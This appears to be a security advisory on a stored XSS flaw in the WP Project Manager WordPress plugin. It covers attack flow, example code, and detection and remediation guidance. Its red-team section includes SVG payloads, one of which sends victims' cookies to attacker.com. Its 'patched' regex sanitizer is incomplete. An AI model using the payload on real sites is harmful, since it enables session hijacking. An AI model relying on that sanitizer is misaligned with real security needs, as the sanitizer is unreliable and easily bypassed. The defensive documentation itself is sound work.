CVE-2025-3100

Executive Summary

CVE-2025-3100 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Project Manager WordPress plugin (versions up to and including 2.6.22). The flaw resides in the task discussion feature, where SVG file uploads are not properly sanitized. An authenticated attacker with Subscriber-level access (or higher) can upload a malicious SVG file containing JavaScript. When any user (including administrators) views the uploaded SVG, the injected script executes in their browser context. This can lead to session hijacking, credential theft, or further WordPress compromise. The vulnerability is currently unpatched, and no public exploit code has been released.

WordPress Ecosystem Context

This vulnerability is specific to the WP Project Manager plugin for WordPress. It is not related to Apache, Nginx, or any other web server software. The attack vector relies on the plugin's failure to validate SVG file uploads within the task discussion feature.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs Subscriber-level access.
• User Interaction (UI): Required – A victim must view the malicious SVG file.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited data modification possible.
• Availability (A): Low – Limited service disruption possible.

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation and lateral movement within a WordPress environment elevates the risk for organizations using this plugin.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS via SVG upload. The WP Project Manager plugin allows users to upload files in task discussions. The plugin fails to properly sanitize SVG files, which can contain embedded JavaScript. When an attacker uploads an SVG file with a <script> tag or an onload event handler, the script is stored on the server. When any user (including administrators) views the task discussion or directly accesses the SVG file URL, the script executes in their browser.

Attack Flow:

1. Attacker logs in with Subscriber-level credentials.
2. Attacker navigates to a project task discussion.
3. Attacker uploads a malicious SVG file (e.g., payload.svg).
4. The plugin stores the file without sanitizing the SVG content.
5. Victim (e.g., admin) views the task discussion or opens the SVG file.
6. The embedded JavaScript executes in the victim's browser.
7. Attacker can steal cookies, perform actions on behalf of the victim, or deface the site.

Root Cause: Insufficient input sanitization and output escaping in the file upload handler for SVG files. The plugin does not strip script tags or event handlers from SVG content.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual comparison.

Vulnerable Code (wp-project-manager/includes/upload.php - hypothetical):

function pm_handle_file_upload($file) {
    $allowed_types = array('image/svg+xml', 'image/png', 'image/jpeg');
    if (in_array($file['type'], $allowed_types)) {
        move_uploaded_file($file['tmp_name'], WP_CONTENT_DIR . '/uploads/pm/' . $file['name']);
        return true;
    }
    return false;
}

Issue: The code only checks the MIME type, not the file content. SVG files can contain JavaScript.

Patched Code (Conceptual):

function pm_handle_file_upload($file) {
    $allowed_types = array('image/svg+xml', 'image/png', 'image/jpeg');
    if (in_array($file['type'], $allowed_types)) {
        // Sanitize SVG content
        if ($file['type'] == 'image/svg+xml') {
            $svg_content = file_get_contents($file['tmp_name']);
            $svg_content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $svg_content);
            $svg_content = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $svg_content);
            file_put_contents($file['tmp_name'], $svg_content);
        }
        move_uploaded_file($file['tmp_name'], WP_CONTENT_DIR . '/uploads/pm/' . $file['name']);
        return true;
    }
    return false;
}

Fix: Strip <script> tags and on* event handlers from SVG content before saving.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with WP Project Manager plugin <= 2.6.22
• Attacker account with Subscriber-level access (or higher)
• Ability to upload files in task discussions

Step-by-Step Exploitation:

1. Create a malicious SVG file (payload.svg):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    alert('XSS');
  </script>
</svg>

2. Log in to WordPress as a Subscriber.

3. Navigate to a project and open a task discussion.

4. Upload the payload.svg file.

5. Trigger the XSS by having an administrator view the task discussion or directly access the uploaded SVG file URL (e.g., https://target.com/wp-content/uploads/pm/payload.svg).

Advanced Payload (Cookie Stealing):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    var img = new Image();
    img.src = 'https://attacker.com/steal.php?cookie=' + document.cookie;
  </script>
</svg>

Blue Team (Detection & Prevention)

Detection:

• Monitor file uploads for SVG files with suspicious content (e.g., <script> tags).
• Review web server logs for requests to /wp-content/uploads/pm/*.svg followed by unusual outbound connections.
• Use WAF rules to block SVG files containing JavaScript.

Prevention:

• Disable SVG uploads in the plugin settings if not required.
• Implement a web application firewall (WAF) rule to block SVG files with embedded scripts.
• Restrict file upload permissions to trusted roles only.
• Apply the principle of least privilege – do not grant Subscriber-level users file upload capabilities unless necessary.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • payload.svg (example): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Unusual Referer headers pointing to /wp-content/uploads/pm/ directory.
• File System Indicators:
  • Presence of SVG files in /wp-content/uploads/pm/ containing <script> tags or on* event handlers.
• Log Indicators:
  • Web server logs showing POST requests to file upload endpoints with Content-Type: image/svg+xml.
  • Error logs showing PHP warnings related to file upload handling.

Detection Engineering

YARA Rule

rule CVE_2025_3100_SVG_XSS {
    meta:
        description = "Detects malicious SVG files exploiting CVE-2025-3100"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3100"
    strings:
        $svg_header = "<?xml" ascii wide nocase
        $svg_tag = "<svg" ascii wide nocase
        $script_tag = "<script" ascii wide nocase
        $on_event = /\bon\w+\s*=/ ascii wide nocase
    condition:
        $svg_header and $svg_tag and ($script_tag or $on_event)
}

Sigma Rule

title: CVE-2025-3100 - Stored XSS via SVG Upload in WP Project Manager
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects upload of SVG files containing JavaScript to WP Project Manager plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=pm_upload_file'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate SVG uploads without scripts
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-3100 - WP Project Manager SVG XSS Upload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=pm_upload_file"; http_client_body; content:"image/svg+xml"; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG uploads in the WP Project Manager plugin settings if the feature is not critical.
2. Restrict file upload permissions to Administrator-level users only.
3. Implement a WAF rule to block SVG files containing <script> tags or event handlers.

Long-Term Fix:

• Apply a patch from the vendor once available. If no patch is released, consider replacing the plugin with an alternative.
• Modify the plugin code to sanitize SVG files (as shown in the patched code section) or use a WordPress security plugin that provides SVG sanitization.

Workaround:

• Use a content security policy (CSP) header to block inline scripts:

Header set Content-Security-Policy "script-src 'self';"

Valters IT
Securing Digital Frontiers